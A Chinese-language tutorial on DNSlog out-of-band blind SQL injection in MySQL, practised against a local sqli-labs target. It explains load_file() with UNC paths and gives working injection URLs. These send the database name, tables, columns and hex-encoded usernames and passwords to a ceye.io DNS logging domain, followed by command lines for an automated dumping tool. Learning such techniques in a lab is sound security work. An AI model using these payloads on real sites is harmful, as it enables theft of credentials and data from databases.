一、原理
攻擊者向 mysql 數據庫提交注入語句
?id=1' and if((select load_file(concat('\\\\',(攻擊代碼),'.xxxxxx.ceye.io\\abc'))),1,0)--+
if(x,1,0) 如果x為真,則輸出1,假則輸出0
load_file() 讀取文件並返回文件內容為字符串。要使用此函數,文件必須位於服務器主機上,必須指定完整路徑的文件,而且必須有 FILE 權限。 該文件所有字節可讀,但文件內容必須小於 max_allowed_packet,這個函數也可以用來發送 dns 解析請求,並且只能在 Windows 平台發起 load_file 請求
concat() 拼接字段,將查詢結果拼接為完整域名
\\\\ 轉義后代表 \\,攻擊者可以使用 Microsoft Windows 通用命名約定(UNC)的文件和目錄路徑格式利用擴展存儲程序引發 DNS 地址解析,Windows 系統的UNC語法具有通用的形式:
\\ComputerName\SharedFolder\Resource
總結來說,數據庫中攻擊語句被執行,由 concat 函數將執行結果與 xxxxxx.ceye.io\\abc 拼接,構成一個新的域名,而 mysql 中的 select load_file() 可以發起請求,然后這一條帶有數據庫查詢結果的域名就被提交到 dns 服務器進行解析
二、環境
搭建 sqli-labs 支持 php7 的靶場,源碼地址 https://github.com/skyblueee/sqli-labs-php7
因為 dnslog 盲注需要使用 load_file() 函數,所以一般得是 root 權限。sql 語句 show variables like '%secure%'; 查看 load_file() 可以讀取的磁盤,若不可用,則修改 my.ini 配置文件
當 secure_file_priv 為空,就可以讀取磁盤的目錄
當 secure_file_priv 為 G:\,就可以讀取G盤的文件
當 secure_file_priv 為 null,load_file 就不能加載文件
我的環境需要修改 my.ini 文件,添加一行 secure_file_priv="",重啟 mysql 服務,再次查詢
三、盲注
dnslog 使用 ceye.io 的平台
查當前數據庫
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select database()),'.打碼打碼.ceye.io\\abc'))),1,0)-- +
查第一個數據表
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.打碼打碼.ceye.io\\abc'))),1,0)-- +
查 users 表的第一個字段
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),'.打碼打碼.ceye.io\\abc'))),1,0)-- +
查字段中數據
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select username from users limit 0,1),'.打碼打碼.ceye.io\\abc'))),1,0)-- +
用 group_ws() 函數分割,因為在 load_file() 里面不能使用 @ ~ 等符號分割,用 hex() 函數轉成十六進制,出來結果了再轉回去即可
http://127.0.0.1/sqli-labs/Less-9/?id=1' and if((select load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.打碼打碼.ceye.io\\abc'))),1,0)-- +
limit m , n;
m:表示開始查詢的第一條記錄的編號(第一個結果的記錄編號是0)
n:表示查詢多少條記錄
四、工具
自動化 dnslog sql 注入工具 https://github.com/ADOOO/DnslogSqlinj 使用方法和 sqlmap 類似,配置一下 config.py 的 APItoken 和 DNSurl
python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" --dbs python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security --tables python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users --columns python2 dnslogSql.py -u "http://127.0.0.1/sqli-labs/Less-9/?id=1' and ({})--+" -D security -T users -C username,password --dump
參考:
https://www.cnblogs.com/afanti/p/8047530.html
https://blog.csdn.net/weixin_44743506/article/details/100148914
https://www.cnblogs.com/xhds/p/12322839.html